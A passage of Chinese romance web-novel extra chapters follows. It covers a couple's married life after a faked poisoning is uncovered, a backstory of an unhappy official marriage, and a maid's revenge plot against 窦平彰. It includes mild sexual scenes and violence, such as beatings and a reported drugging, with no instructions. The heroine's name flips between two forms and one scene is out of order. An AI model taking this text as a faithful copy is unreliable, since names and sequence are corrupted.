窦妹两眼失神,泪光上泛,身子早软成了一滩水,任他搂着。好一会儿后,突然生气,一口咬在他肩头,“你以后不准再绑我了,我真的撑不下去…”那时真是叫天天不应,叫地地不灵。她就好像被抛到某处云霄,又哭又闹失了声,想下却下不来。 “你不畅快么?” 窦平宴抱着她,有些失意,低低道:“明明经书上说,此法可能,女子都受用。我那样做你会痛苦么?” 痛苦?窦妖迷着眼眸一寻思,好像倒也不至于痛苦唉。就是有种…自个儿无可控的绝望……可这到底,是种什么滋味呢。 翌日清早,窦妖去平昌街的铺面打点,午后便来到集市采买。 如今他们刚搬来上京,虽说府宅去年便修葺好了,但仍有不少缺的东西。依弟弟的意思,家中人少,还要再去买些仆婢。因此她把余叔带上了,余叔挑人比她眼要尖些。 看着人牙子手头的丫鬟,小的七八岁,大些也才十五六,个个低着头。只有余叔走过去,她们才让抬头。 马车上,窦妹隔着竹帘而望,想起芝兰——当年初见芝兰,那还是个胆小怕生的丫头,长着一张清秀小脸,却不敢抬头见人。 比起府里其他丫鬟,芝兰却简朴不少,头上两只双螺就用粗红绳绑着,除此之外,再没别的首饰。 芝兰这个人很是独特,身上藏着事,偶尔也让人捉摸不透她想做什么。就比如旁的小丫鬟到了十四、五岁,开始爱美,或多或少会倒饰自个儿。偏芝兰不同,发了月钱便攒着,不愿给自己添衣裳首饰。窦妹以为她只是缺钱,后来又明里暗里借着打赏的名头给了不少,但芝兰也只是攒着。 春秋时,芝兰只有三件衫子换着穿,洗到发白。到了冬日,也只给自己加件厚袄子,还总是笑说:“劳姑娘挂心,奴冻不着就成了。” 梨香院的人本就不多。离开江陵的时候,窦妹把苗巧凤和丫鬟们也一同带来上京。 如今数个月不见,她倒有点想芝兰了。 马车上,苗巧凤看出她的心事,宽慰道:“娘子再等等,过些时日家书就会到了!” 是了,窦妖离开前放心不下芝兰,曾托云筝和昌叔照拂一二。 芝兰想做的事,她劝也劝过,说也说尽,还是撼动不了人家的念头。如今她虽不会再拦,但窦妹还想在自己本能之内,对她好些,报庄氏的恩情。 采买完,大包小包打道回府。 这几日过得犹为平静,细水长流。弟弟在翰林院主要撰写诏令,偶尔与几位同僚编修、校勘史书,事不算多,日日都能较早回家。 至于弟弟仕途上的事,窦妹还算清楚。 凡入翰林院的进士,得在院里任职三年,三年后散馆离开。一部分同僚会继续留任翰林,一部分会被派往六部任主事、御史等,还有的则会派往各地,任地方官,就像二十年前的窦洪。 官家对窦平宴青眼有加,曾示意,想他日后能入朝为官。至于弟弟的想法,窦妹没去问过,因为她已经决定好了,不管他日后走什么路,她都会跟他一同走下去。 夜晚临睡前,窦平宴揽她入睡已经成了一种习惯。 起初窦妖嫌热,并不愿。后来他干求万求,又说自己一定会凉水沐浴后抱她,绝不让她热着。窦妖耐不住他磨,只好允了。 今晚,两人照常依偎。 窦平宴的手臂牢牢环过她的腰身,把人圈在怀中,亲昵地啄啄脸颊。亲了有一会儿,窦妹忍不住推他的脸:“你什么时候才能对这种事厌烦?” 一推,倒给人推委屈了。他把头埋进她肩窝子,声低低道:“阿姐厌烦了吗?” “……” 窦妖叹了口气,“没有,就是有点热。” 他立马又好了,眸光微亮,笑笑戳她的额心:“心静自然凉,是你肝火旺盛,心太燥了。” “你怎还倒打一耙?”窦妹回瞪他,掐上他手臂。这人倒真是无赖,起先呼痛了两声。她以为自己使重力了,忙去摸他,他又嘻嘻哈哈笑了起来。一边笑,一边啄她的脸颊,“阿姐,你可真好骗。” 这样无忧的时日一直下去。直到有一天—— 这天窦妹在铺面忙活到晌午,准备回家。 刚下马车,便见府邸门前停着一辆。 ——这是辆华篷流苏的马车,珠帘布缎,车前挂着两盏琉璃灯,大大写着“许”。而小年,正站在车的一旁,好像在等什么人。 许?窦妖一下子想到素娘的主人,许小娘子。 前不久因为弟弟的话,她才放下的心事又重新提起。难不成真是许小娘子过来了? 窦妹走上前问小年什么情况,没想到小年看见她,反而一抹惊慌闪过。 更不对劲了…… 她不过就想问问来者何人,小年却支支吾吾,说不出来。窦妹心下生疑,索性进府瞧瞧。小年当即拦道:“娘子!娘子!娘子还是先别回去了!” “为何?” 窦妖蹙眉,“我好好问你,你又不肯说。如今贵客来了,我还不能自己去看看?你放心好了,我不会乱来的。” 说完她再不顾小年,拔步飞快往府里奔去。小年着急,跟着后头追。别看娘子往日小身板柔弱,真快走起来像风一样,小年还真追的吃力。最后,窦妖来到窦平宴的书房。 她站在屋子前,隐约瞧见窗边两道影子,长长吸了口气。 一道是窦平宴的,多少个日夜交叠,她当然认得。而另一道身影,窦妖认不出… 这到底是什么人,他才要这样瞒? 87、【番外】婚后·肆 窦妖原意不是推门而入,只想在门外静静等候,等人出来。 哪知小年却在这时出了声, “娘子,娘子,小的没有胡诌…” 他是故意的,这一声娘子很快惊动屋里的人。 那两道影子明显晃了下,从窗边消失。最后只有窦平宴来开门,微微笑问:"阿姐怎么过来了?" 明明记得她说,今日铺面开张事忙,至少傍晚才能回来。怎么这才晌午,她就回来了?偏他今日还约了人来书房取卷宗,停在门口的马车,她必然已经瞧见了…. 真是棘手…. 窦平宴瞥了眼小年,不知他是如何解释的。但眼前,他只能努力维持着平静。 窦妹的眼眸时不时往书房瞟去。 奇怪,明明方才屋里还有人,怎么窦平宴一来开门,人就没了? 她并不多的疑心又重了:"那里面是?"“是同僚。”窦平宴淡笑。同僚?可来的不是位女子吗? 许…… 先前小年提到的,只有许小娘子,也就是素娘的主人,帮弟弟在上京买铺面的人。现在他却说“许”是同僚? 好,就算是同僚,为何又要遮遮掩掩? 窦妹回头瞥了眼小年,这主仆一个比一个奇怪。既然窦平宴不愿直说,那她索性就拖着。 窦妖看向后斜方,院子边的罗汉松盆景。也随意道:“你与同僚议事罢,我就在那儿剪剪花枝,等你们出来。” 他的脸色倏而一变:“阿姐…"” 窦平宴扯住她袖子,好声哄道:“你先回去歇歇好不好?一会儿我再来寻你,你要我做什么都成……” “我并不打扰你,只在院子剪花枝罢了,这都不行吗?”窦妹眼眸一眯,“还是说,你不让我见,真是金屋藏娇了?可我先前就说过,你想纳妾,纳几房,根本不必瞒我,咱们商量来就是…” 越说,窦平宴的脸色越难看,一种灰惨的难看。直到屋里躲着的人实在听不下去,竟径直走了出来—— 不是美娇娘,而是穿官服的年轻男人。 窦妹颇为惊讶,打量着,此人与弟弟穿着一样的圆领官袍,还真是同僚。可是这张脸!她觉得格外面熟,仔细去想,却想不起来是谁。 那郎君与她见礼过后,便笑道:“弟妹实属冤枉了,的确不是藏娇娘。我来贵府,乃是取卷宗。” 这一开口,就连声音,也格外的熟悉。 窦妖想破脑袋没想起来,最后看向窦平宴。只见他脸微绷,却努力挤出笑意。窦妖忍不住问那人:“冒昧了,我们是不是在哪里见过?” “怎么可能呢。”那人尬笑两声,“我没有见过弟妹,弟妹定是认错人了!” 那人一说完,小年接到窦平宴的暗示,立马迎上前:“大人,小的送大人回去吧!马车已在门外等候了。” 两人二话不说,抬步匆匆离开。 窦妖急忙回头,目光追踪那抹背影…还没等到她从记忆里牵出线,窦平宴却把她的头强行扭回来,委屈道:"我就说了是同僚,你还不信我。"她仍犹疑,“可,许小娘子…” “什么许小娘子?”窦平宴显然有些惊讶。 “就是我店里素娘的主子。”窦妖回他,“小年说,那铺面是你托许小娘子找的。刚刚门外的马车,我也看见了许''字……”窦平宴一听她的话,揽人方笑。难怪这几日她总问些没边没际的话,诸如纳妾此类,原来是那混球编差了谎,凭空捏造个女人出来。窦平宴一头暗恼,一头还在为方才的惊险捏把汗。好在她没想起来,现在得折腾些事,让她忘记刚才那茬子。 …… 用过晚膳,窦妖在箱笼翻找衣裳时,无意间翻出一枚玉佩。 这是块竹纹的玉佩,系着暗色流苏,是当初魏攸送她的。 触及尘封的记忆,窦妹怔了下,很快把它收走。再翻箱笼底,又翻到魏攸写的纸条——问卿安否,我多一心是为悠也。青青子衿,悠悠我心。 还在梨香院时,那时姑娘不喜欢二爷,苗巧凤曾多次看见窦妖望着这些东西出神。 按理而言,魏郎君也算个挺好的人,举止有礼。里间没有丫鬟,人都在外间。苗巧凤也因此放了心,轻叹问道:“这些东西娘子还留着,当心被二爷瞧见生闷气。娘子如今还放不下魏郎吗?" 窦妖将纸条也收好,“放下了,早放下了。” 她对苗氏一笑,“正是因为放下了,我才敢留这些东西,它们不再让我心哀神恸。” 就如她穿过的衣裳首饰,写过的字画,从来不舍得丢掉,留着只是偶尔能忆起过去的时日。 苗巧凤笑道;“当初娘子从扬州回来,也是那时候放下魏郎了。老奴虽心奇娘子在扬州遇上何事,却不敢多问。” 窦妖一想,自己好像只跟芝兰说过,还真没跟苗婆子提过。 苗婆子跟她一路到现在,看过她与魏攸私下传情。又看着两人分道扬镳……可她决定放弃魏攸,却不是一时头热定下的主意。 窦妹向苗巧凤娓娓道来。 说到姨娘和魏攸合谋算计弟弟性命时,她的眼前忽然浮起一张人脸…… 当初救窦平宴性命的年轻郎中,竟与今日的同僚,有着一模一样的脸! 难怪……难怪她总觉得在哪里见过! 是场骗局吗?莫非窦平宴早料到姨娘会下毒,就和那郎中联起手来,装死骗人? 许……她想起来了,终于想起来了,那个郎中说过自己叫许成。 窦妖突然反应过来,又惊又气,这些时日的疑点倏然而解。 收拾完箱笼,窦妖灭掉屋里的灯,一个人躺在床上。 她幽幽地想,到底还有哪些事,是被蒙在鼓里的?一想起自己当初抱住他,哭着说要替姨娘赎命,就觉得可笑。还说过要跟他回江陵,就当把命抵给他。 门嘎吱一声,打开又阖上,一道人影闪进。 窦平宴踱到床边,点燃一盏烛灯。看见床里纤纤的侧影,舒畅坐了过来,摸她的头:“阿姐今儿这么早睡吗?” 窦妹忽然转头,一双泛红的眼眸盯住他:“当初你病得奄奄一息,是骗我的?” 他愣怔,却茫然:“我骗阿姐什么了?”眉心微跳,后背继而渗出细细的汗。 窦妹见他装无辜的模样就可恨,干脆坐起身:“我想起来了,当初姨娘阴差阳错找来的郎中,救活了你,原来是他!原来就是今日我见到的人!你和姓许的做局骗我,难怪他一副祖传秘方就能解你的毒!亏我当初……” 当初若没这事,她会留在扬州,一辈子都在扬州。后来因为对他心里有愧,才允诺跟他回家。 窦妖哽了下,被骗的委屈涌上心头。突然就被他抱住,他的手臂很紧,箍得她喘不过气。她推搡,窦平宴亦不肯松动半分,终于认了错,“阿姐,都是我不好,你别气了……" 她挣不动,索性冷笑:“你能有什么不好?你最好了,把他们都骗过去。我大老远跟你来上京,我才不好吧?” “阿姐……” 他声更低了,刚要讨饶却被她一口咬在肩头。听她哭着,不知为何心却猛跳,腹下竟在这时热了。 他忍住一口气,任她咬住也不吭一声,抚着她的背更委屈道:“难道他们当初就不想害我性命吗?我若不用点手段,早成了黄泉路上一缕冤魂,你现在哪还能看见我?阿姐…你知道的,我从小就苦,没有人要,孤零零一人……” 说着说着,头埋进了她肩窝子,又轻轻舔咬她的颈边儿,后来拉着人倒在被褥里。 窦妖再忆起时,真不知这一切是怎么开始。 明明她该生气,还在生气,转眼之间却突然被他压在枕间入了口舌,不停纠缠。后来他制住她的手,一边解小衣细带,一边亲她沾泪的脸颊,“阿姐,你饶了我这回,可怜可怜我罢……” 到后面,肚里的气全化成眼眸上泛的水,销迹于迷乱中,沦为她抓紧他的手臂哭求。 她想,他上辈子一定是只男狐狸精。不然,为何如此擅做循循善诱之事?勾得人七荤八素,糊里糊涂就从了。 后来有一年寒冬,两人待腻了上京。 趁着年底休沐,窦平宴和她去了趟扬州,依旧住在马绫玉和张伍家中。 母女夜话,窦妖听姨娘提到了魏攸——三年过去,他已经官道高升,成了通判大人,也娶妻生子了。如今一家和睦,其乐融融。 马绫玉见女儿莞尔在听,不免问道:“你释怀了吗?” 窦妖点点头,淡笑:“释怀了,知道他成家立业,夫妇恩爱,我很欢喜。” 他们都以为她很难放下魏攸,其实她早就放下了。在当初临别之际,魏攸说完那句“云妹,你一定要幸福”后,她就已经释怀了。 马绫玉虽然不喜欢窦平宴,但见她过得舒心,也还算满意。 最后想起一事,马绫玉又盯向她肚子:“你这儿怎还没有动静呢?人家魏郎的妻子,早已七个月大了……. 窦妹顺着姨娘的目光,看向平平的小腹。叹道:“自从弟弟亲眼见过大姐姐血崩,产子而死后,便害怕我也会这样。他不喜欢孩子,也不想我生,自个儿一直在吃避子药。这事主君也问过多回,但他性情执拗,谁都说不动……” 马绫玉只觉可笑,女人生孩子,从古至今不都这么过来?不过窦平宴是个怪人,她也就理解了。只不过在她看来,还是希望女儿能有个孩子,起码以后膝下不寂寞。 “那你呢?你想要孩子吗?”马绫玉握住她的手,问。 窦妹摇摇头,笑道:“我不知道,姨娘。有和没有好像都可以。其实有一事魏郎说得很对,人这一世本就很短,更要由着心走,随性过一辈子。要是总受世间规矩所束, 哪是来世游玩一趟?分明是受一趟的累。” 马绫玉闻言失语,恍然想起,这番道理不就在自个儿身上践行过? 当初她便是嫌深宅寂寞,不想一辈子跟个不爱自己的男人,便主动勾搭起还是马夫的张伍,后来才生下妖姐儿。 马绫玉念起往事,摇头失笑,将女儿搂进怀中:“姨娘没念过书,大字不识几个,却觉得你说得是,正是这个理儿。” …… 后来离开扬州,返程的途中,两人一边行路,一边游玩山水,来到了池州。 故地重游当年的茶馆,说书郎还是那位关西人。此人一笑一点扇,摇头晃脑,又跟看官们讲起那出趣事儿—— “话说,洒家关西那儿的何转运使,他娘子就是他表妹。虽是表妹呐,出身可高出一大截!早些年他想娶表妹,可表妹瞧不上他呀,原是想嫁别人的。可是大伙猜,后头咋了——" 确认 窦妹还如当初那般,和底下看官们听得全神贯注。眼珠随着说书郎转。 很快,只见说书郎绷脸,扇一拍手,方笑道:“那可奇了,有一回他带表妹去打猎,山上突遇野兽。表妹可是个娇滴滴的小娘子,登时便花容失色——这人呀,一遇到害怕的,心就容易慌,还扑通扑通乱跳!表妹害怕地只能躲在表哥身后,好在咱转运使英武,握箭射死了野兽,还赢得美人芳心….” 这出故事,窦妖记得她以前听过。 她盈盈的眸光望向他,映着夜里万千华灯,粲然失笑:“其实你远没有必要做这些,因为不管情爱,还是骨肉情深,这都是情啊。我对你的情,我们的羁绊,已经很深了,比所有人都要深。你知道的,我可以放弃世上任何一位郎君,却放弃不了你。" 窦平宴本紧张悬起的心终于落下,唇边拂开笑意。最后将她小手牵的很紧,紧到一辈子都不能松开。就如他当年所说,我和阿姐是骨和肉一样不能分开的人。 窦平宴却看向她,若有所思。 说书郎又笑道:"人都说呀,那是转运使英雄救美,才让小娘子以身相许的。可洒家却不以为然——" 说书郎一卖关子,底下又有看官着急:"快说吧,您老以为是什么呀!" 说书郎神秘一笑,握扇说道:“那定是表妹害怕时心乱跳,后来想起,还以为是对表哥动心呢!” "大伙可别觉得这是洒家瞎讲,事还真就这么回事呢!咱那转运使自从娶了他娘子后,每逢入秋,都要带他娘子上山打猎!大伙仔细想想,难道不是这个理儿?"说到这儿时,窦妹猛然转头,看向窦平宴。他却轻咳两声,笑笑,回避她的视线。 这一回,她听懂了。 夜晚池州城,华灯初上。 姐弟俩在桥河边漫步时,窦妖突然问弟弟:“你当初屡次三番想拖我下河,是不是也想按说书郎说的,让我害怕。以为我害怕,心乱跳,间而错当自己动心了?” 窦平宴讶异,不敢看她,目光只望向夜空徐徐升起的孔明。 “阿姐,我没听懂你在说什么。什么说书郎?什么害怕?” 他又在装不知了。窦妹拿他实在没有办法。须臾,掰过他的脸,与之对视。 孤盏明灯扶摇上,唯寄情思与天知。 第87章【番外】婚后·肆 … 云如珍的新婚当夜,窦洪便当着全府的人,下了她的脸。 缘由无他,只因为她并非完璧之身。 云氏如今十七,头一次还是待字闺中时,给了家里的家丁,罗隐。 那是两年前,她与罗隐是真心相爱的。 罗隐的祖上也是上京世族,后来因他祖父犯罪,全族男丁流放,女眷没入教坊司。当时罗隐的娘亲正怀身子,几月后,就在教坊司生下他。 罗隐的娘体弱早亡,他自小是教坊的姑姑带大。长到十岁时,他再待在教坊已不合适,就去了大户人家做家丁。 那他去的,正是上京的高门云家。 罗隐自小在教坊长大,耳濡目染,便熟通音律,尤擅丝竹管弦。后来去了云府,机缘巧合下在姑娘跟前露了一手,便得青睐。 云如珍从未见过,能将古筝弹如此好的男人。他穿着素净短衣,乌发 如墨,神情溶淡自洽。指尖一挑 一拨之际,音律涌出,犹如天籁。一首《渔舟唱晚》,教云如珍痴醉了心。后来云氏借着学琴的名头,常常召他来。男教女学,一来二去,两人就有了眉目。 没多久后,二人的事被家中知晓。 云如珍的母亲早亡,云太尉是个习武粗人,不曾对家宅琐事多留心。如今当窗事发,他也自责没当好爹。云太尉软着性,好说歹说劝过女儿,但云如珍一心想和罗隐厮守,听不进去。 后来,云太尉为让女儿死心,只好打死了罗隐。 罗隐一死,云如珍哭了七日,险些要跟着去了。 半个月后,云如珍呕吐不止。家中担忧,因此请了郎中来看,才知晓已有身孕。 那时的女儿正因罗隐的死伤心,不吃不喝。有了身孕顾念孩子,才好歹吃些。云太尉没有办法,只好允了她生。 孩子生出,是个女婴。 云太尉为了女儿名声着想,便把孩子送去乡下。云如珍自然万分不舍,每每两个月,都要去田里庄子瞧瞧女儿。 后来云氏在一回游宴中,遇上了进京赴考的窦洪——此人相貌极好,与她死去的情郎还有七八分相像。不过性情却不同,窦洪不如罗隐爱笑,人也更规矩守成。但这些并不妨碍,云如珍又坠入另一张情网。 由于她的穷追不舍与撩拨,此人很快落入她的掌心。 当时的窦洪还是书生,云太尉并不能瞧上。虽说春闱刚揭榜,窦洪已经高中二甲进士。但比起盘踞百年的大族云氏,窦洪还是高攀了。 可奈何女儿苟合过,已非完人。若是从前,云太尉还能再挑更好的世家。但如今他丢不起这个人,也就允了他们下江陵成亲。 今晚的洞房花烛夜。本该沉沦情爱,窦洪却在这时发现她已破了身。一气之下推开人,铁青着脸甩袖离开。云如珍虽然哀恸,却也料到这些。 难过是必然,但云如珍并不担忧。 因为她知道,窦洪很爱自己。即便再恼再怒,也就冷她十天半月。只要她俯首低眉,殷勤侍奉,要不了多久,窦洪总会消气的。 可云氏的算盘落了空——她没想到,他竟真狠得下心,一个月宁愿宿在书房,也不踏入她房中。 两人已经很久没有好好说过话了。云如珍忍不住,最后还是提着亲手熬的羹汤,去跟窦洪赔罪认错,把话说开。 哪知她一推开书房的门,便看见窦洪坐在书桌前,怀中搂着丫鬟。两人耳鬓厮磨,正在亲热。 这丫鬟有几分姿色,云如珍记得,因为是她前日亲手买回来的——马氏,原名叫绫玉。 云如珍不喜欢这个名,本准备今日午后,给新买的丫鬟们都重新起个。不料此刻,这人竟到了窦洪怀中。 窦洪看都没看她,抚着貌美丫鬟的脸便说道:“我要抬绫玉做姨娘,你来得正好,免得我再遣人知会一声。现在既然知晓,就去备着罢。你打发人把梨香院收拾出来,让绫玉住进去。再弄得喜庆点,今夜……” 窦洪抬眼看她,咬字无比清晰,“是我与绫玉的洞房之夜。” 89、【番外】芝兰X窦平彰 得知阿娘投井身亡的那刻,芝兰只觉天要塌了。 芝兰是家生子,爹爹和阿娘都是窦家的奴才。 爹爹早亡,七岁的时候,芝兰就只有阿娘了。 小时候芝兰体弱多病,一场风寒都能磨去半条命,得主家恩典,没让她早早就进府做事,而是先在家里吃药养了几年。 庄氏为了养好芝兰,这些年在主家做活赚的钱,舍不得给自己添衣裳,全拿去给芝兰买上好的补药。 这几年,芝兰一边吃药,一边在家中强身健体。长到十五岁时,她的身子已经比从前好很多,不再病殃殃。 听阿娘的意思,半年后她就能进窦府做事了。 但芝兰没有料到。就在她进窦家的前两日,夜里阿娘回家,突然说了许多奇怪的话。 最后,阿娘紧张地塞来一张纸。芝兰摊开,竟是卖身契。 “娘这些年攒的钱都在榆巷钱庄,你去取,拿了卖身契和钱,就跑远远的!不要去窦家,也不要再回江陵……” 芝兰不知为何。想问缘由,阿娘却死都不肯说。 她隐隐猜到什么,抱着阿娘哭红了眼:“娘,你跟我一起走,你也别回去,我不能没有你!” 庄氏却抚摸她的头叹道:“娘不行…主子救过娘,娘欠她一条命。娘得回窦家,把这个的恩情还完!二丫,这张卖身契得来不易,你带它走,从此之后你就不再是奴身了。娘和你爹忙活大半辈子,你能脱奴籍,娘很高兴…" 芝兰知道阿娘口中的主子,就是马姨娘。芝兰不肯让她离开,仍大哭:“马姨娘不是都带女儿跑了吗?她们都离开江陵了,阿娘回去要还哪门子恩情?” 庄氏沉默。 芝兰哭着,却劝不动阿娘。千方百计阻止,拼命拦着,可阿娘却弄晕她,再度回到窦府。 后来,与庄氏相熟的婆子来到家中,告诉她一个噩耗——阿娘投井自弑,已经死了。 庄氏死之后,芝兰消沉多日。 没有听从阿娘的嘱咐离开江陵,仅仅是搬出家门躲了几日,躲避追杀。她想,她一定是天下最不孝的女儿。 为了查阿娘的死因,芝兰决定回到窦府做丫鬟。 起先,她被分配到扶风院伺候。 扶风院是二姑娘窦云湘的院子,芝兰没干多久就被赶走了。芝兰做事细心,勤劳肯干,并不懂为什么二姑娘不要。 有个很关照她的老嬷嬷告诉原委,原来二姑娘是嫌她容貌太好,有几分颜色,恐她将来心术不正,勾引主子…… 离开扶风院后,芝兰不知道自己会再去何处……不过哪里都好,只要能有时机去查。 直到一次机缘巧合,她被分到梨香院伺候。 梨香院,芝兰再熟悉不过,阿娘以前就在梨香院伺候。曾经里头住的是马姨娘和四姑娘。现在马姨娘逃离,院里只剩四姑娘了。 阿娘只是个奴才,奴才的命不值钱。芝兰原以为,阿娘死后,除了自己这个女儿,没人会记得她。 意料之外,四姑娘竟会记得。 她很多次看见,窦妖常常站在阿娘溺亡的井边出神。 芝兰前十五年都在家里,没做过丫鬟伺候别人。 起初在扶风院,一点小错,她就会被湘姑娘的大丫鬟打骂。被打多了,芝兰不仅长记性学聪明,还渐渐懂得,这些都是为奴当婢该受的。 不过芝兰不在意这些。 旁人骂她还是罚她,都不会牵起太大波动。因为她心中只有一件要紧事——就是查明阿娘的死,绝不让逼死阿娘的人好过。 来到梨香院,芝兰也做好了小心伺候,日复一日被人打骂的日子。 但她没有想到,梨香院与扶风院不同。妖姑娘避世不喜欢争吵,人柔心善,待下人都很好。 后来,芝兰逐渐确定,窦平彰就是逼死阿娘的凶手。 她试过好几种法子谋害大爷的性命,包括趁着年关,庖房人手大忙时,在他的膳食里下毒…… 可是她的法子没成功。不仅没有毒死窦平彰,还阴差阳错毒死了他的猫。在梨香院的那几年,后来芝兰回想,继阿娘死后,那是难得幸福安然的几年——姑娘是顶好的。苗婆子虽然唠叨,却很照顾人。还有春莺,虽然偶尔急性…却是真拿她当妹妹看。原先芝兰还不曾有这样真切的感觉。直到一个夜里,春莺临走前,突然塞来两只青花镯子、一支宝相花金钗,一块素银老旧的长命锁。 芝兰和春莺同住,知道长命锁是春莺爹娘留给她的。春莺还说,“越是咱们这样,越是该争气往上爬,不让一辈子都苦。你这胆小怕事的模样,跟我妹妹太像了!我走之后,你要学会胆大锋锐,别的丫鬟骂你,你也骂回去!这样她们才会怕了,才不敢仗着你好性,欺压你……… 春莺走了。没过几年,姑娘也离开窦家。姑娘离家之前,也跟芝兰嘱咐过同样的话。芝兰知道,她们当然是为她好。可是很多事,她就是学不会。或许她太爱阿娘,一心只想复仇,这些于她而言都不重要。后来,她就被昌叔分去祠堂做洒扫。曾经阿娘离世时,芝兰就尝过孑然一身,漂泊于世的滋味。她以为,这种滋味她此后都不会再尝。没想到却在窦妖离开,整个梨香院分散时,她又尝到了。这时的滋味更不好受。因为她把她们,都当做家人了。起初,芝兰的确是为窦平彰的事,才留在窦家做丫鬟。 她是个冷性子,以为这辈子谁也走不进心里。但在梨香院待的这几年,大家一块在烂漫春光中撷花,夏夜捕蝉,仲秋赏菊酿酒,寒冬围炉烤橘……岁月开始变得悠然漫长,就这样走入了她的心。 可是姑娘离开,这一切也都散了。 在祠堂的日子,起初并不好过。因为她是新来的,免不了被人刁难,分去更累更苦的活。有时候一个人,还要干三人的份儿。 昌叔得了姑娘的嘱咐,偶尔会来照看她。这些人也只有昌叔在时,才不敢造次。 不过旁人再怎么欺负,芝兰也不在意。只有不太过分,日子还能下去,她都会忍气吞声。因为她活下去只有一个目的——杀了窦平彰,给阿娘偿命。 原先她在梨香院,还有机会能接近窦平彰。可现在来了偏远的祠堂,又该如何报仇呢?正当芝兰琢磨苦思之际。比她更早找上门的,是窦平彰。 那是个寒冷的雪夜,芝兰打扫完毕,提着扫帚从祠堂出来。她干了一日的活,太累,手也冻紫了。芝兰今夜想早些休息,刚走到后院,忽然被人从背后一推—— 她猝不及防,整个人摔到雪地上。 胳膊疼,膝盖也疼。 芝兰吃痛,蹒跚着回身,却看见祠堂的丫鬟红杜叉着腰,目光睥睨。 红杜身旁,还有两个小姐妹。 这两个丫鬟,素日都不喜欢芝兰。芝兰也不懂,明明从未得罪过,她们却常在背后骂她狐媚,红颜薄命,再怎么也是爬床婢的命。 其一人看见芝兰摔跤,指着她,捂嘴吃吃笑道:“姐姐你瞧她这副狗吃屎的模样,可是出大糗了!平日就会装清高,明明也没有爷来,真不知道装给谁看!”芝兰亦不甘示弱,爬起身,冷冷瞪着她们:“你们做什么!” “做什么?” 红杜冷笑一声,突然过来推搡她。芝兰想躲,却被另外两人挟持手臂,动也动不了。 红杜一个巴掌扇到脸上,“谁准你多舌,今早向昌叔告发我欺压!害我丢了半年的月钱!我平日多给你派活就是欺压了?呵,我告诉你,现在这才是欺压!”说完,红杜又赏了一巴掌。 芝兰根本躲不了,脸被打偏,火辣辣的疼。 “怎么?平日活多不会说,就昌叔来了会说?”红杜掐住芝兰下巴,“平日装哑巴都给我们看呢?” 芝兰本就体弱,还是大冷天,冻得脸苍白,这两记巴掌更是打出血印。 她不肯松这口气,死死瞪着红杜:“你平日一个劲儿磋磨我,我也就忍了,从来不曾向昌叔提过。可你昨日竟收了赵宽的钱,给我下药,把我弄到房里让他奸-污!” 若不是她拿瓷瓶砸了赵宽脑袋,哪能轻易脱身? 两个小丫鬟吃惊。 红杜的脸青白交加:“你在胡说什么!少污蔑我,分明是你勾引赵宽在先,才吃了他的错!” 红杜恼得把芝兰推倒,一脚踩在背上。 芝兰哪受得了这样的力,登时疼得脸色扭曲,直直抽着气。她感觉背上的脚越来越重,好像要踩碎她的五脏六腑,胸口疼得要崩血。就在这时,一声斥喝响破天地。 红杜很快撤了脚,却被人大力踹到树桩边。两个小丫鬟哆哆嗦嗦下跪,不敢扶她。 哪个主子会在夜里来祠堂呢? 芝兰没有力气去想,整个人像被踩碎的木偶,无力趴在雪地里。她其实有在努力挣起,只是胸口太疼,疼得快死了。 突然有人捉住她的手臂,将她拉坐起。那个人蹲下,任由她靠入怀中。 乌发凌乱夹雪,缓缓躺进一个胸膛。这个胸膛温热、厚实,还有山棕的淡香。漫天飞雪下,芝兰抬起眼,这才看清他的脸。 窦平彰! 是他,竟然是他! 她的脸登时更加难看,开始挣扎从怀里出来,却没挣动。因为他仍在揽抱人,着急地问有没有事? 芝兰咳了两声,比雪还冷的声音:“没有事。” 窦平彰似是松下一口气。 转眼薄怒,盯向红杜三人。对身后的小厮嘱咐:“敢在祠堂撒泼,我们窦家也不要这种奴才。拖下去打二十板子,再都发卖了!” 红杜被踹得心口疼,没揉两下,听到这个噩耗便与两个丫鬟不停磕头,求饶。 窦平彰不耐烦,一句没听,挥挥手叫人捂嘴拖走,干脆利落。 最后,他扶着芝兰起身。 刚站起,芝兰便像瞧见凶神,急忙从他手中挣脱出来,退避三舍。 避他避得跟什么一样,丁点不愿沾着。这让窦平彰有些不满, “且不说我们以前怎样,今晚我救了你,怎么一句谢都没?” 想杀的人就在眼前。 芝兰看见他的无数次,都幻想手里能有一把刀,就这样直直捅进他胸口。可惜幻梦终究是梦,凭她的力气,怎么可能捅得死活生生的男人? 这个男人喜欢她,贪图她,曾经还向窦妖讨要她。芝兰每每想起此事,就呕的要死。 天寒地冻,她人也冻得麻木,毫无感情向窦平彰道了谢。 不谢还好,谢了窦平彰更觉刺耳。 这样清美的一张脸,却能说出如此冷淡的话,一点也不比他院里的女人动听。可偏偏窦平彰,就是忘不掉,忘不掉她那抹含泪坚韧的眼神,忘不掉她清澈的音色。即便她来了祠堂,他也抑不住想来看看。 还好他今日来的巧,能及时救下。 这声谢,再难听,他也笑纳了。窦平彰打量起她被打肿的脸,出声道:“你当初若早跟了我,就能在清风馆吃香喝辣,还有一堆人伺候,何必来这种地方受苦?” 芝兰不看他,也抿唇不语。 窦平彰迈进一步。 目光难得温和下来,望着她笑了笑:“不过爷够喜欢你,情愿多等几回。今日我还想问问,你可要跟我回去呢?” 说罢,窦平彰递出手。正月的寒冬,在祠堂这片茫茫雪地。 90、【番2】芝兰X窦平彰 芝兰照旧不肯。 她抬眼,一双微红的眸子死死盯着窦平彰。可窦平彰却忽略,只看见她被打肿的脸。 他叹这丫头傻,明明高枝递到手边,却是攀也不攀。 也不知是不是侍奉他那妹妹太久的缘故,脾性也有些像了,倔得像头牛。真不知自己到底是怎么看上这个芝兰,明明话少,还不安好心,偏偏让他魂牵梦萦。 “算了。” 窦平彰作罢,“你现在不愿,我不信你还能一辈子不愿?等你在祠堂过不下去时,总有找上我的一日。” 窦平彰说完人便走。 芝兰拾起地上的扫帚,收进耳房。再扶起微疼的手臂,绕到祠堂后的罩房歇息。 她太累了,躺到床上却没睡着,耳边回响起窦平彰最后那句。 “等你在祠堂过不下去时,总有找上我的一日……” 冷气从鼻息哼出,芝兰眸色发狠。他怎么就敢断定,她会想给他做妾?真是呕死人了,逼死阿娘,还想把她收房,天底下怎会有这样恶心的人? 那句话什么意思?难道他要为难她?暗下绊子,折磨她,逼她不得不找上门?不错,这的确像他会做出的事。 芝兰握紧了拳头。 杀他,她一定会杀他!今日没带刀子上身真是太过可惜……被他抱住的刹那,如此好的时机,她正好可以持刀穿过他的胸膛! 芝兰长叹口气。 房里昏暗,月光朦胧斜照纱帐。她喃喃了声,阿娘。 